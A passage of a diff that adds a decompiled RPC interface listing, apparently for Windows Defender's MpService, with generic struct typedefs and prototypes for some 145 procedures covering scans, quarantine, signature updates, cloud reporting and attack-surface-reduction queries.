unsigned char *StructMember0; + long StructMember1; + /* [size_is][unique] */ unsigned char *StructMember2; + long StructMember3; + hyper StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + } Struct_4620_t; + +typedef struct Struct_4650_t + { + long StructMember0; + /* [switch_is] */ union union_4580 StructMember1; + } Struct_4650_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4688 + { + /* [case()][unique] */ struct Struct_4704_t *unionMember_1; + } union_4688; + +typedef struct Struct_4704_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + long StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + long StructMember4; + long StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + long StructMember7; + } Struct_4704_t; + +typedef struct Struct_4734_t + { + long StructMember0; + /* [switch_is] */ union union_4688 StructMember1; + } Struct_4734_t; + +typedef struct Struct_4778_t + { + long StructMember0; + /* [size_is][unique] */ unsigned char *StructMember1; + } Struct_4778_t; + +typedef struct Struct_4838_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + /* [size_is][unique] */ struct Struct_4778_t **StructMember6; + /* [size_is][unique] */ struct Struct_4778_t **StructMember7; + } Struct_4838_t; + +typedef struct Struct_4886_t + { + long StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ struct Struct_4838_t **StructMember3; + } Struct_4886_t; + +typedef struct Struct_4918_t + { + long StructMember0; + struct Struct_16_t StructMember1; + long StructMember2; + unsigned char StructMember3[ 16 ]; + long StructMember4; + unsigned char StructMember5; + short StructMember6; + short StructMember7; + short StructMember8; + short StructMember9; + } Struct_4918_t; + +long Proc0_ServerMpEnableFeature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc1_ServerMpDisableFeature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc2_ServerMpQueryStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_144_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc3_ServerMpEventOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ struct Struct_16_t *arg_5, + /* [context_handle][out] */ void **arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc4_ServerMpEventClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc5_ServerMpEventQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc6_ServerMpOnDemandStartScan( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][unique][in] */ struct Struct_476_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ struct Struct_16_t *arg_7, + /* [context_handle][out] */ void **arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc7_ServerMpOnDemandQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc8_ServerMpOnDemandQueryScanResult( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_78_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc9_ServerMpOnDemandControlScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc10_ServerMpOnDemandControlSystemScan( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc11_ServerMpOnDemandPersistScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc12_ServerMpOnDemandCloseScan( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc13_ServerMpOnDemandThreatOpen( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc14_ServerMpOnDemandThreatEnum( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc15_ServerMpOnDemandThreatClose( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc16_ServerMpScanOpenThreatHistory( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc17_ServerMpScanEnumerateThreatHistory( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc18_ServerMpScanEnumerateDetectionHistory( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1382_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc19_ServerMpScanCloseThreatHistory( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc20_ServerMpScanDeleteThreatHistory( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc21_ServerMpRpcCleanOpen( + /* [in] */ long arg_1, + /* [unique][in] */ struct Struct_1434_t *arg_2, + /* [in] */ long arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc22_ServerMpRpcScanCleanOpen( + /* [context_handle][in] */ void *arg_0, + /* [unique][in] */ struct Struct_1434_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc23_ServerMpRpcCleanStart( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc24_ServerMpRpcCleanControl( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc25_ServerMpRpcCleanThreatsNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc26_ServerMpRpcPrecheckStart( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc27_ServerMpRpcPrecheckNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc28_ServerMpRpcCleanQuery( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc29_ServerMpRpcCleanClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc30_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc31_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc32_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc33_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc34_ServerMpQuarantineEnumOpen( + /* [in] */ long arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc35_ServerMpQuarantineEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc36_ServerMpQuarantineEnumClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc37_ServerMpQuarantineQueryInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [ref][out] */ struct Struct_1232_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc38_ServerMpQuarantineRestoreThreat( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ struct Struct_16_t *arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc39_ServerMpQuarantineDeleteThreat( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc40_ServerMpStateEnumOpen( + /* [context_handle][out] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc41_ServerMpQueryEngineVersion( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_1536_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc42_ServerMpUpdateEngineSignature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc43_ServerMpRollbackEngineSignature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc44_ServerMpThreatStaticInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [ref][out] */ struct Struct_1232_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc45_ServerMpQuerySystemInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ unsigned char *arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ unsigned char **arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc46_ServerMpRpcConfigSetValue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][in] */ unsigned char *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc47_ServerMpRpcConfigDelValue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc48_ServerMpRpcElevationHandleOpen( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc49_ServerMpRpcElevationHandleAttach( + /* [in] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc50_ServerMpRpcElevationHandleClose( + /* [in] */ long arg_1, + /* [context_handle][out][in] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc51_ServerMpRpcElevateCleanHandle( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][in] */ void *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc52_ServerMpRpcSignatureThreatOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc53_ServerMpRpcSignatureThreatEnum( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_1232_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc54_ServerMpRpcSignatureThreatClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc55_ServerMpRpcGetSampleInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [ref][out] */ struct Struct_1740_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc56_ServerMpRpcQueryScansWithSamples( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ struct Struct_16_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc57_ServerMpRpcDropScansWithSamples( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ struct Struct_16_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc58_ServerMpRpcSpynetQueueCreate( + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_16_t *arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc59_ServerMpRpcSpynetQueueQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc60_ServerMpRpcSpynetQueueClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc61_ServerMpRpcSpynetGenerateReport( + /* [context_handle][in] */ void *arg_0, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ long *arg_3, + /* [out] */ struct Struct_110_t *arg_4, + /* [out] */ struct Struct_16_t *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc62_ServerMpRpcSenseGenerateReport( + /* [context_handle][in] */ void *arg_0, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc63_ServerMpRpcSpynetOnResponse( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_1872_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [in] */ long arg_4, + /* [out] */ long *arg_5, + /* [size_is][size_is][ref][out] */ unsigned char **arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc64_ServerMpRpcSpynetGetStartTime( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_28_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc65_ServerMpRpcSpynetUpdateSpynetMetrics( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_1920_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc66_ServerMpRpcSpynetClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc67_ServerMpRpcSigUpdServiceOpen( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc68_ServerMpRpcSigUpdServiceQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1978_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc69_ServerMpRpcSigUpdServiceSendProgressNotification( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_970_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc70_ServerMpRpcSigUpdServiceClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc71_ServerMpRpcSigUpdClientOpen( + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc72_ServerMpRpcSigUpdClientQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc73_ServerMpRpcSigUpdClientClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc74_ServerMpRpcSigUpdControl( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_1978_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc75_ServerMpRpcIdleNotificationOpen( + /* [string][in] */ wchar_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc76_ServerMpRpcIdleNotificationClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc77_ServerMpRpcNotifyIdle( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc78_ServerMpRpcIdleCheckTaskCompletion( + /* [context_handle][in] */ void *arg_0, + /* [out] */ error_status_t *arg_1); + +long Proc79_ServerMpRpcThreatOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc80_ServerMpRpcThreatEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc81_ServerMpRpcThreatClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc82_ServerMpRpcDbgThreatViewAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc83_ServerMpRpcForcedReboot( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc84_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc85_ServerMpRpcAddFastPathSignatureFile( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [ref][out] */ struct Struct_2070_t **arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc86_ServerMpRpcRemoveFastPathSignatureFile( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc87_ServerMpRpcDynamicSignatureOpen( + /* [in] */ long arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc88_ServerMpRpcDynamicSignatureEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_2070_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc89_ServerMpRpcDynamicSignatureClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc90_MpService__CMpMapsLatencyDataIterator__Clone( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc91_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc92_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][in] */ void *arg_0, + /* [out] */ error_status_t *arg_1); + +long Proc93_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc94_ServerMpRpcMemoryScanStart( + /* [in] */ struct Struct_126_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ struct Struct_2516_t *arg_3, + /* [out] */ struct Struct_16_t *arg_4, + /* [context_handle][out] */ void **arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc95_ServerMpRpcMemoryScanQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc96_ServerMpRpcMemoryScanClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc97_ServerMpRpcFastMemoryScanOpen( + /* [in] */ struct Struct_126_t *arg_1, + /* [out] */ struct Struct_2558_t *arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc98_ServerMpRpcFastMemoryScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [in] */ struct Struct_2442_t *arg_2, + /* [out] */ struct Struct_110_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc99_ServerMpRpcFastMemoryScanClose( + /* [context_handle][out][in] */ void **arg_0, + /* [out] */ error_status_t *arg_1); + +long Proc100_ServerMpRpcFastMemoryScanCacheInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_2558_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc101_ServerMpRpcAmsiCloseSession( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc102_ServerMpRpcTcgLogScan( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [out] */ long *arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ unsigned char **arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc103_ServerMpRpcTcgLogApplyExtResult( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc104_ServerMpRpcDbgSendCallbackNotification( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_970_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc105_ServerMpRpcThreatRollup( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_2640_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc106_ServerMpDetectionQuery( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_16_t *arg_1, + /* [ref][out] */ struct Struct_1232_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc107_ServerMpRpcRequestSnooze( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc108_ServerMpRpcOfflineScanInstall( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc109_ServerMpRpcOfflineScanStatusQuery( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_2680_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc111_ServerMpRpcTriggerHeartbeatOnUninstall( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc112_ServerMpRpcTriggerErrorHeartbeatReport( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [string][in] */ wchar_t *arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc113_ServerMpRpcTriggerHeartbeatReport( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_1872_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc114_ServerMpRpcRemapCallistoDetections( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ wchar_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc115_ServerMpRpcGetCallistoDetections( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_1232_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc116_ServerMpRpcIsAdlFallbackDue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc117_ServerMpRpcIsRtpAutoEnable( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ long *arg_2, + /* [out] */ long *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc118_ServerMpRpcEngineQueryConfigDword( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc119_ServerMpRpcSampleHeaderQueueCreate( + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_16_t *arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc120_ServerMpRpcSampleHeaderQueueQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc121_ServerMpRpcSampleHeaderQueueClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc122_ServerMpRpcSampleHeaderClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc123_ServerMpRpcSampleHeaderGetSampleDetails( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_2798_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc124_ServerMpRpcGetSampleChunk( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ unsigned char **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc125_ServerMpRpcConveySampleSubmissionResult( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_2854_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc126_ServerMpRpcGetSampleListRequiringConsent( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_2900_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc127_ServerMpRpcConveyUserChoiceForSampleList( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_2900_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc128_ServerMpRpcGetRunningMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc129_ServerMpRpcIsGivenRunningModeSupported( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc130_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc131_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc132_ServerMpXBGMUpdateIV( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ unsigned char *arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_3040_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3040_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc135_ServerMpOnDemandStartScan2( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][unique][in] */ struct Struct_476_t *arg_5, + /* [in] */ long arg_6, + /* [in] */ long arg_7, + /* [out] */ struct Struct_16_t *arg_8, + /* [context_handle][out] */ void **arg_9, + /* [out] */ error_status_t *arg_10); + +long Proc136_ServerMpQueryDefaultFolderGuardList( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_16_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc137_ServerMpRpcTriggerStatusRefreshNotification( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc138_ServerMpRpcGetHIPSRuleInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_3108_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc139_ServerMpEnableSmartLocker( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc140_ServerMpDisableSmartLocker( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc141_ServerMpXBGMUpdateIV( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][in] */ unsigned char *arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc142_ServerMpFlushLowfiCache( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc143_ServerMpRpcGetAsrBlockedProcesses( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ long *arg_3, + /* [size_is][size_is][ref][out] */ struct Struct_3166_t ***arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc144_ServerMpRpcGetAsrBlockedActions( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* 